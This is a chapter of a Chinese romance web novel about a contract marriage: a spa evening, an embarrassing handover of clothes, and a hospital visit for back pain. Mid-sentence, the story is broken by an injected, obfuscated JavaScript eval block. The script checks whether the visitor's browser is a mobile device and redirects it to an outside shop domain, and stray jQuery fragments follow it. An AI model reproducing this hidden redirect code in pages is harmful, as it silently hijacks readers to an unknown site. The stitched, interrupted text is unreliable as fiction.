不出五分钟,门口的内线电话就响了。
公寓前台得了首肯,裴聿珩预约的两位家庭SPA师准时上门,站在门口齐齐对温今遥露出公式般的精准微笑:“夫人好。”
温今遥主打一个手足无措:“不不不别别你们是谁?”
裴聿珩的手自然而然搭上她的肩膀,感觉到她浑身一紧,便俯下身凑到她耳边:“有外人在,忍一下。”
温今遥被他喷薄在自己耳边的热气一激灵,终于想起自己的身份,端起架子来,顺便向裴聿珩的方向靠了靠,一只手轻轻搭上那截她之前目不转睛盯过的手臂:“欢迎,请进吧。”
她或许没有发觉自己半个身子都贴着裴聿珩,一丝缝隙都不留,为了保证“外人”的观感,她还笑着抬头跟他对视一眼,柔声问道:“老公,这两位是?”
刚刚还让她“忍一下”的裴聿珩,在她精湛演技下陡然失语,瞳孔都颤动了一瞬,从来没觉得她身上的气息有这么强的存在感。
他喉头上下一滚,再开口声音明显低沉:“看你最近太累,给你约了SPA。”
SPA师十分有眼色地赞叹:“裴总跟夫人感情真好,不愧新婚燕尔。”
温今遥带着点讶异看了裴聿珩一眼。
结婚第二天,他就已经把已婚的消息散播出去了?
她莫名有一种回不了头的错觉。
这点转瞬即逝的讶异落进裴聿珩沉静眼底,却被解读成了一种接受。
没有当面闹起来,看来接受良好。
提前打预防针果然是对的,看来公开婚讯可以提上日程了。
温今遥没有逮到多问的机会,就让SPA师打断思绪:“如果可以开始了,就麻烦夫人带我们去浴室。”
……
打工人温今遥这辈子还没这么奢靡过。
柔润洁净的按摩浴缸中兑了红酒,在水流温和冲击翻滚下腾扬起一池暗红色的醇香泡沫,随着水波涌动一下一下轻轻拥吻着瓷白肌肤,她仿佛要在这温柔的包裹中彻底失去体重,轻盈地飘起来。
一双柔软的手轻轻按摩着头部,连日来精神紧绷的紧张感渐渐消失无踪,手脚和肩背沉积的酸痛感被另一双手蘸着精油轻轻抚平,像是卸下了她长久以来背负的压力和负担。
一切粗糙的现实感几乎完全被宁静的抚摸和按压所消解,头顶轻到要随着水声飘散的声音仿佛很远:“累了的话,可以睡一下。”
她几乎没有犹豫,意识直直沉入了温柔绵密的水底,像回到了某种混沌的安全中。
再醒来,是门口响起轻如试探的敲门声:“今遥?”
温今遥迷迷糊糊地睁开眼,发现浴室空旷——SPA师已经离开,恒温浴池定时到了,水温刚刚要开始变冷。
她“哎”了一声,门口继续传来裴聿珩沉缓的声音:“出来回房睡,别着凉。”
温今遥揉着眼睛擦干了身体,紧接着就发现一个很严重的问题。
她没有拿换洗衣物,从里到外都没有。
这个发现让她脑中炸开了一颗手雷,炸得她又热又痛,心跳也跟着凑热闹似地节节飙升。
怎么办,是要真空裹着浴巾出去吗?
她看了看手里的浴巾,柔软宽大,倒不至于衣不蔽体,但是……
但是她过不了心里那道坎!
跟他重逢才四五天吧,一个周都没到呢,这跟陌生人有什么区别?丢一次人再也不见也就算了,跟他偏偏得朝夕相处。
救命!
门外恰到好处地响起裴聿珩关切的声音:“怎么了?头晕吗?”
“啊,没有……”
温今遥正想着找什么理由糊弄过去,就听他道:“是没带衣服进去吗?我帮你拿来了。”
温今遥听清他话的一瞬间,简直想要以头抢地。
拿来了?什么叫拿来了!
你拿的是什么!睡衣拿了就算了,内衣内裤你也拿了吗!
“今遥?”
温今遥想,就赌一把,内衣内裤她收在衣柜里,不像睡衣直接扔在床上,再说,他应该想不到要拿那些吧。
她一咬牙,上前把门开了小小一条缝,一只手伸出去:“……谢谢。”
或许是她听错了,门缝里传来轻轻的一声笑,然后手上一沉,裴聿珩在门外道:“快换上,一会儿要感冒了。”
门缝合拢,温今遥听见自己动若擂鼓的心跳声一下一下扣在嗓子眼,简直要跳出来。
然而,它在温今遥看到睡衣里包着的皮卡丘内裤的刹那,彻底死了。
她望着那条自己钟爱的明黄色皮卡丘内裤,从自己的品味责怪到自己的出生,恨不得直接就地灰飞烟灭了才好。
按说她六七岁就认识裴聿珩,高低也算是青梅竹马了,在他面前也没少丢过人,她暗地里真的把他当成亲哥哥,什么话都敢在他面前说。
现在她面对的依旧是那个人,他似乎变了很多,但她记忆里那种温润的包容和笑意,似又仿佛从来没有变过。
可她偏偏尴尬得羞愤欲死。
她也说不清自己是什么心态,甚至变态地想,如果门外给她递内裤的人是樊炜呢,她还会这样害羞得迈不出一步吗?
结论是不会,不但不会,她还会阴阳怪气地来一套“淫者见淫”“看什么看是不是想尝尝十万伏特”和“敢说出去老娘阉了你”的组合拳。
温今遥想不明白自己到底是怎么了,脑海里一边无声地尖叫,一边表情麻木地换好衣服,破罐破摔地打开浴室的门,裴聿珩竟然还没走,还从容悠然地靠在门口,等她出来。
温今遥眼神发直,根本不敢看他:“别跟我说话,求求你当我死了。”
裴聿珩简直坏出新境界,语调里浸润的全是揶揄的笑意:“我们今遥品味还是跟小时候一样,一点都没变。”
温今遥用上了最后的意志力才没有发出尖锐爆鸣,哆哆嗦嗦、毫无说服力地威胁:“你要是敢说出去,我就……”
就了半天,也没就出什么下文来。
她哪有裴聿珩的把柄!
裴聿珩笑着握住她抖抖索索晃来晃去的手指:“把家人的隐私抖给外人?我恐怕没有那么大度。”
家人……吗?
这两个字简直像是带着实体钻进她的耳朵,温今遥不可置信地望着他,想,对啊,我跟这个男人结婚了。
他是我的丈夫,我们以后是会有肌肤之亲的,不要说一件衣服,我们的身体、气息、命运,都已经绑定在一起,难分彼此。
乱糟糟的心里忽然冒出一个清明的念头——
这场婚姻只是一个契约而已,大家各取所需,若是真论感情,裴聿珩这样的男人,这辈子都不会轮到她。
又在肖想什么不属于自己的东西?
被“家人”两个人点燃的小火苗让这个劲风一样的念头一吹,可怜巴巴地熄灭了。
温今遥轻轻抽回手:“……谢谢你的礼物,”她指了指满地是水的浴室:“一会儿我会收拾干净。”
裴聿珩眼中难得掠过一丝困惑,但没有追问,只是拍拍她的头:“家务有公寓管家打理,你好好休息就是。”
温今遥竟像是不领情,第一次躲开了:“我已经不是小孩子了。”
裴聿珩悬在半空的手骤然一空,指尖兀自蜷了蜷,只能收回去。
“好,”他依语气依然温和,听不出任何波动:“工作辛苦,早点睡吧。”
温今遥点点头:“你也是啊裴总。”
裴聿珩眉心极轻地抽了下。
前后不到两小时,他又从“老公”变回了“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634202|143701||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
裴总”。
看着她的房门轻轻关上,裴聿珩拿出手机,给吴桓发了条消息:“跟媒体那边打声招呼,准备一下公布婚讯的稿子,明后天拿给我,我亲自审。”
吴桓极为敬业地秒回:“要先给裴老那边说一声吗?”
裴聿珩坐在昏昧的灯光里,声音沉郁清冽:“我有安排。”
……
第二天温今遥在舒适的大床上醒来,只觉得元气满满,连日来加班的疲惫都随着这场放松和深眠消散,身体久违地轻盈起来,连一直以来久坐造成的腰痛都缓解不少。
这就是钱的力量吗,她想,难怪人人都喊着要搞钱。
又是忙忙碌碌、一坐下屁股就离不开办公椅的一早上。等有人张罗着点外卖,温今遥才惊觉已经中午,正要起身去拿便当,却忽然发现,只要下半身一挪动,腰就跟断了一样疼,软绵绵的使不上一点力气。
她不服气,挣扎着想换个角度再试试,结果双手刚撑上扶手,疼痛就像一道闪电一样迅猛袭来,砸得她半天没缓过劲来。
温今遥终于意识到问题的严重性——她站不起来了。
她整个人如遭雷击,瞬间脑子里只有一个想法:果然跟裴聿珩结婚要付出代价!这是要瘫痪了吗!
余承轩捧着手机到处找人凑单,溜达过来一抬头,见温今遥面色惨白,大冬天的额角竟然缀着细汗,大惊:“今遥姐你怎么了?”
温今遥已经被疼痛和自己失去行为能力的念头打击得面无人色:“我好像瘫痪了……”
这话一出,办公室里凡是能喘气的,目光全都被她吸了过来。
人群呼啦一下围过来,询问的询问,按摩的按摩,叫车的叫车,一时间办公室人声鼎沸,竟让温今遥生出“人间有真情人间有真爱”的感慨。
她十分感动:“谢谢大家,希望大家能多给我捐点钱。”
这边动静太大,把下午要去跟合作方开会的李玉都惊动了。总监的威信在此刻发挥了决定性作用:“都别围着了,赶紧去吃饭,我送她去医院。余承轩,你跟着来。”
余承轩“哎”了一声,不忘给温今遥拿了羽绒服,半蹲在温今遥面前:“今遥姐,我背你。”
李玉看得笑了:“这孩子,你今遥姐没白疼你。”
……
一通鸡飞狗跳的折腾,总算把温今遥放到了医生面前。
温今遥都快哭了:“医生你看我这能算工伤吗?医保能报多少啊?”
李玉一巴掌拍在她肩头:“还怕威禾不管你?”
医生眼皮都懒得抬,盯着电脑刷刷写病历:“腰椎滑脱,久坐人群里挺常见的,问题不大。住院观察几天,然后戴个腰托就行。”
温今遥听了诊断,松了一大口气:“那、那它怎么就滑脱了呢?”
医生抬眼看了看李玉:“上班上的。”
李玉:“……”
余承轩乖乖站在一边,忽然腰间莫名一冷,默默地伸手摸了摸腰。
从诊室出来,李玉给温今遥借了轮椅,看着余承轩把她扶坐在上面,看了眼时间道:“没大事就行,这两天你好好休息吧,我赶着开会就不陪你了。余承轩,照顾好你今遥姐。”
余承轩高高兴兴哎一声,送走李玉,又安顿温今遥:“我去交钱拿药,你一个人在这行吗?”想了想又打消念头:“还是推你一起去好了。”
温今遥笑着推他:“我又不是三岁,这么大的人了还能丢吗?你快去啦!”
余承轩再三确定她确实好多了,才一步三回头地走了。
温今遥这辈子第一次坐轮椅,正新鲜着,前前后后来来回回地滚着轮子玩,正要往前来个冲刺,背后的把手却忽然被人拽住了。
温今遥莫名地回头,打眼一看惊得魂都没了:“裴聿珩??”